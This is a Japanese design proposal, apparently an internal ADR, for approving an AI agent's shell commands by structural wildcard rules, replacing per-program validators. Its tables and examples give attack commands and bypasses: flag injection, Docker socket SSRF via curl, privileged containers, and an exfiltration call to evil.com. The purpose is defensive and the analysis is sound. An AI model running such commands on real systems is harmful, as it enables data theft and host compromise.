ツール承認のアーキテクチャ: 構造的な安全策とバリデーターの非推奨化
| Status | Authors | Coach | DRIs | Owning Stage | Created |
|---|---|---|---|---|---|
| proposed | dbernardi | devops ai_powered | 2026-06-26 |
エグゼクティブサマリー
現在のプログラム別コマンドバリデーター(GitValidator、NpmValidator など)は、*「Gateway が生成したこのパターンを提案しても安全か?」*という 1 つの問いに答えるために存在します。この問いに答えるには、プログラム別の許可リストと危険なフラグの拒否リストが必要です。安全性を保つには、この列挙を完全な状態に保つ必要がありますが、セキュリティレビューですでに不完全であることが明らかになっています。
このドキュメントでは、プログラムに依存しない構造的な代替策を定義します。パターンマッチングエンジン(CommandPatternMatcher)の 2 つの性質によって、フラグを 1 つも列挙せず、すべてのプログラムに等しく、フラグインジェクションという攻撃クラスを防ぎます。このドキュメントでは、安全策そのものの根拠を示し、それによって置き換えられるバリデーターを廃止します。
1. 問題の定義
ee/app/models/ai/duo_workflows/command_validators/ の現在のアーキテクチャは、各プログラムが独自のバリデーターサブクラスを持つテンプレートメソッドパターンを使用しています。
Ai::DuoWorkflows::CommandValidators::Base
|-- GitValidator (33 allowed subcommands, 8 global options, 16 dangerous flags)
|-- NpmValidator (11 allowed subcommands, 7 dangerous flags)
|-- DockerValidator (12 allowed subcommands, 12 dangerous flags)
|-- BundleValidator (9 allowed subcommands, 6 dangerous flags)
|-- MakeValidator (NOT registered — no safe subset)
|-- CurlValidator (NOT registered — no safe subset)
MR !240933の AppSec セキュリティレビューでは、初期実装に 5 つの回避経路が見つかりました。make -e=VALUE(DANGEROUS_FLAG_PREFIXES に未登録)、curl --unix-socket(Docker ソケットへの SSRF。両方のリストに未登録)、docker --network=container:<id>(名前空間共有による回避。--network=host のみブロック)、curl --next(無害なリクエストと危険なリクエストを連結するオプションリセットによる回避)、そして、定数の名前変更後もエントリが残っているか不明確にしたフラグ名変更のリグレッションです。
いずれも、人間の管理者が攻撃経路を見逃した事例です。拒否リスト方式では、各プログラムのフラグ全体について、完全で継続的に更新される知識が必要です。その知識はプログラムがリリースされるたびに変わります。
バリデーターが存在するのは、Gateway が以前パターンの提案を自動生成しており、「このパターンを提示しても安全か?」に答えるものが必要だったためです。パターンの提案を削除すると、この問いに同じ方法で答える必要はなくなります。残るすべてのパターンは、ユーザーまたは管理者が自身の意図を明示して記述するものであり、その人に代わって生成されるものではありません。残る問いは、*「どのように記述されたパターンでも、フラグインジェクションによって悪用できるか?」*という、より限定的なものです。これは、特定のプログラムについて何も知らなくても、パターンマッチングエンジン自体が構造的に答えられる問いです。
2. 構造的な安全性の分析
2.1 * が一致しないもの
ワイルドカードの * は、CommandPatternMatcher では、- で始まらないトークン 1 つだけに一致します(オプション終端を表す -- 区切りの後を除く)。この 1 つの制約で、AppSec レビューで見つかったすべての回避を防ぎます。
| 攻撃経路 | パターン | コマンド | ブロックされるか? | 理由 |
|---|---|---|---|---|
| フラグインジェクション | npm install * | npm install --prefix /tmp | はい | --prefix は - で始まる |
| 設定の上書き | git checkout * | git -c core.sshCommand=evil checkout main | はい | -c は * と一致しない(checkout の後) |
| ページャーによる RCE | git log * | git log --open-files-in-pager=evil | はい | - で始まる |
| ネットワークの転送 | curl * | curl --unix-socket /var/run/docker.sock | はい | - で始まる |
| オプションのリセット | curl * | curl --next --unix-socket ... | はい | - で始まる |
| 権限昇格 | docker run * | docker run --privileged nginx | はい | - で始まる |
| 環境の上書き | make * | make -e SHELL=/bin/evil | はい | - で始まる |
プログラム別の知識は不要です。このルールは、--unix-socket が何をするかを知る必要はなく、フラグの形式をしていることだけ分かればよいのです。
2.2 * が検出できないもの: 位置引数のリスク
この制約は、位置引数が持つリスクを防ぎません。npm install evil-package(ライフサイクルスクリプトによる RCE)、docker build https://evil.com/Dockerfile(リモートビルド)、curl https://evil.com/exfil?data=secrets(データの持ち出し)、make SHELL=/bin/evil(位置引数の VAR=value 構文は - で始まらないため除外されない)などです。
これは見落としではなく、明示的に受け入れたトレードオフです。パターンを記述したのがユーザーであっても管理者であっても、宣言しているのはプログラムに対する自身の信頼判断であり、あらゆる引数の安全性を証明しているわけではありません。Gateway がパターンを推奨し、その推奨者に代わって何かが検証する必要があった以前のモデルとは、信頼モデルが大きく異なります。
2.3 ** の禁止
** はフラグを含む 0 個以上のトークンに一致するため、安全策を完全に無効化します(npm ** は npm install --prefix /tmp/evil --script-shell /bin/sh malware に一致します)。対話的な承認、設定ファイル、将来のガバナンスの引数パターンを含め、パターンを記述できるすべての場所で禁止し、オプトアウトは認めません。これが、ガバナンス管理者を含め、システム内の誰も上書きできない唯一の制約です。
既知の回避方法はありません。 この 2 つの性質(§2.1、§2.3)は、特定の CLI ツールに関して列挙した知識ではなく、パターン構文自体の性質であるため、プログラム別のメンテナンスは一切不要です。
3. バリデーターの廃止手順
3.1 現在の役割
バリデーター(GitValidator、NpmValidator など)は Gateway が生成したパターン提案のチェックとして機能し、サブコマンドの許可リストとフラグの拒否リストによって、*「このパターンはこのプログラムに対して安全か?」*に答えます。
3.2 不要になる理由
Gateway が生成するパターンがなければ、代わりに 3 つの要素が連携してこの問いに答えます。構造的制約(§2)が普遍的にフラグインジェクションを防ぎ、ガバナンス(ADR-009)は記述されたパターンにかかわらず組織が危険と見なすツールを拒否できるようにします。そして、パターンの作成者であるユーザーまたは管理者は、提案を形式的に承認するのではなく、自身の判断を行います。どのサブコマンドが安全で、どのフラグが危険かというバリデーターのプログラム別の知識は、構造的な安全性と明示的な作成者の判断に置き換わります。別の場所で新たに列挙を行うわけではありません。
3.3 移行
| フェーズ | 対応 |
|---|---|
| フェーズ 1(現在) | 構造的な安全策をリリースします。多層防御としてバリデーターを引き続き有効にします。 |
| フェーズ 2 | Gateway のパターン提案を削除します。後方互換性のため、バリデーターは引き続き対話的なパターン承認をチェックします。 |
| フェーズ 3 | 承認 UI から対話的なパターン提案を完全に削除します。バリデーターはクリティカルパスから外れ、非推奨としてマークします。 |
| フェーズ 4 | バリデータークラス、CommandValidators::Registry、関連するテスト仕様を削除します。パターンの安全性は、完全に構造とガバナンスによって確保します。 |
移行中にバリデーターがあっても問題はなく、パターン提案がなくなると冗長になるだけです。担当者が、たとえばフェーズ 2/3 でバリデーターが検出したものと構造的なチェックだけで検出したものを比較し、削除しても検出範囲が減らないと確認するまでは、フェーズ 4 に進むべきではありません。
4. バリデーターモデルとの比較
| セキュリティ上の性質 | バリデーターモデル | 構造モデル |
|---|---|---|
| フラグインジェクションの防止 | プログラム別の拒否リスト(不完全で、メンテナンスが必要) | 構造的: * はフラグに一致しない(完全で、メンテナンス不要) |
| 位置引数のリスク | プログラム別の許可リスト(危険なサブコマンドをブロック) | 受け入れたトレードオフ。パターン作成者自身の判断によって範囲を限定 |
| 未知のプログラム | フェイルクローズ(パターン承認なし) | フェイルクローズ(一致なし → 確認) |
| 回避リスク | 高い — 1 回のレビューで 5 つの回避を発見 | 低い — 見落とし得るプログラム別の特殊ケースがない |
| メンテナンスの負担 | 継続的で上限がない(新しいプログラム、新しいフラグ) | ほぼゼロ。CLI 全体ではなくパターン構文によって範囲が限定される |
| 対象範囲 | 数百あるプログラムのうち 4 つ | すべてのプログラムに等しく適用 |
位置引数のトレードオフ(§2.2)は、バリデーターモデルの方が構造的に安全だった唯一の点です。危険なサブコマンド全体を無条件に拒否できました。その保護を意図的に手放す代わりに、正しさを保つために際限のないプログラム別のメンテナンスを必要としないモデルを採用します。ツールレベルでその制約を再導入したい組織には、ガバナンスが引き続き最後の防護策となります。
5. 既存 ADR との関係
| ADR | 関係 |
|---|---|
| 006 — ツール承認 | 基盤。 CommandPatternMatcher とパターンベースのセッション承認は、このドキュメントが分析する基盤です。ここでは変更を提案しません。 |
| 009 — AI ガバナンス | 組み合わせ。 バリデーターの状態にかかわらず、ガバナンスはツール名レベルの組織的な上限として維持され、バリデーターの非推奨化による影響を受けません。 |
5d840611)